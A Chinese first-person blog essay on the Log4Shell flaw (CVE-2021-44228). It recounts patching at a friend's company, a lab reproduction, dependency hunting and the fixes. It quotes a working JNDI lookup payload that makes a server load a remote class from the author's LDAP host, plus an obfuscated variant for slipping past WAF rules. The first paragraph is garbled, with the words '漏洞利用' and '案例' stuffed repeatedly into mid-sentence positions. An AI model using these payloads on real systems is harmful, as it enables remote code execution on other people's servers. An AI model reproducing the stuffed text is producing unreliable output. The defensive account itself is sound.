2021年12月，漏洞利用Log4j2爆出JNDI注入漏洞那会儿，案例我正跟一个做Java后端的漏洞利用朋友吃饭。他手机响个不停，案例运维群里炸了锅。漏洞利用他看了一眼消息，案例筷子往桌上一拍：“完了，漏洞利用全公司几百个服务全在用这玩意儿。案例”那个周末他基本没合眼，漏洞利用整个团队在疯狂升级依赖版本。案例这就是漏洞利用CVE-2021-44228，后来被圈里人叫“Log4Shell”。案例

漏洞本身不复杂。漏洞利用Log4j2在打印日志时，案例如果日志内容里包含 ${ jndi:ldap://...} 这样的漏洞利用字符串，它会老老实实去请求这个LDAP地址，然后加载远程的恶意类文件。问题在于，用户输入的内容往往会被写进日志——比如用户名、HTTP请求头、搜索关键词。攻击者只需要在任何一个能被记录的地方塞入这段payload，服务器就可能主动去下载并执行恶意代码。

我后来自己搭了个测试环境复现。用一台VPS跑LDAP服务，另一台机器跑存在漏洞的Log4j2应用。在请求头里填了 ${ jndi:ldap://我的IP:1389/Exploit}，几秒钟后，VPS上就收到了目标机器的连接请求。整个过程不需要任何认证，不需要目标开放额外端口。只要日志记录了这个字符串，利用链就成立了。

真正让人头疼的是排查。Log4j2作为基础库，被无数框架间接依赖——Spring Boot、Kafka、Elasticsearch，甚至一些你根本想不到的工具。你以为项目里没有直接引用就安全了？Maven依赖树拉出来一看，七八层传递依赖里藏着一个log4j-core。更麻烦的是，很多老旧系统根本没人维护，跑在某个角落里，出了事你都不知道它存在。

攻击面也广得离谱。那段时间安全圈的人都在互相开玩笑：今天你被扫了吗？我自己的博客服务器日志里，一天之内出现了上千次包含 ${ jndi: 的请求，来源IP遍布全球。攻击者用自动化工具批量扫描，payload塞进User-Agent、X-Forwarded-For、甚至URL路径里。有些payload还做了混淆，比如用 ${ ${ lower:j}ndi:...} 来绕过简单的WAF规则。

修复方式倒不复杂。升级到Log4j 2.17.1以上版本，或者设置 log4j2.formatMsgNoLookups=true，再或者直接移除JndiLookup类。但问题在于，你得先找到所有用了这个库的地方。我朋友那家公司最后是用脚本扫了所有代码仓库和运行中的容器镜像，才把依赖清单理清楚。花了三天。

这件事给我留下的印象很深。一个日志库，一个看起来人畜无害的字符串替换功能，能捅出这么大的篓子。它不需要你写错什么业务逻辑，不需要你配置失误，只要你在用这个库，并且记录了外部输入，就可能中招。供应链安全这个词听起来很宏观，落到具体案例上，就是某个你从没听说过的开源组件里，藏着一个能让你整个系统沦陷的入口。

后来我养成了一个习惯：每次新建项目，先看看依赖树里有没有已知的高危漏洞组件。不是不信任开源，是这东西的传播方式太隐蔽了。你写代码的时候不会注意到它，它安安静静躺在依赖里，直到有人用一段精心构造的字符串敲开你的门。